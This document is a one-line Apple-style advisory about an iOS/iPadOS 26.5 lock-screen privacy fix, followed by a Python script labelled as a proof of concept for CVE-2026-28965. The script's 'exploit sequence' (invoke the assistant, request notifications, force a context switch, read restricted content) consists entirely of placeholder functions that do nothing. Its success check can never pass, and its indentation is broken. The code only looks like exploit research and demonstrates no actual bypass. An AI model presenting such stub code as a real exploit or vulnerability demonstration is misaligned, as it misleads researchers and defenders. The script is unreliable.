A privacy issue was addressed with improved checks. This issue is fixed in iOS 26.5 and iPadOS 26.5. A user may be able to view restricted content from the lock screen.
The following code is for security research and authorized testing only.
python
# Proof of Concept for CVE-2026-28965 (Conceptual Lock Screen Bypass)
# This script demonstrates the logic to trigger the bypass on a vulnerable iOS/iPadOS device.
import time
def trigger_lockscreen_bypass():
"""
Simulates the interaction sequence to bypass the lock screen.
"""
print("[*] Attempting to trigger CVE-2026-28965...")
# Step 1: Wake device (Simulated)
print("[+] Waking device...")
time.sleep(1)
# Step 2: Invoke the vulnerable component (e.g., Siri/Control Center)
# The vulnerability lies in the state confusion here.
print("[+] Triggering vulnerable UI component...")
try:
# Hypothetical exploit sequence
# 1. Activate Voice Assistant
activate_assistant()
# 2. Issue specific command to open restricted content
send_command("Show Notifications")
# 3. Rapidly switch context to confuse the lock state
force_context_switch()
# 4. Access restricted data
restricted_data = read_restricted_content()
if restricted_data:
print("[!] SUCCESS: Lock screen bypassed. Data visible.")
return True
except Exception as e:
print(f"[-] Exploit failed: {e}")
return False
# Placeholder functions for the actual OS interaction
def activate_assistant(): pass
def send_command(cmd): pass
def force_context_switch(): pass
def read_restricted_content(): pass
if __name__ == "__main__":
trigger_lockscreen_bypass()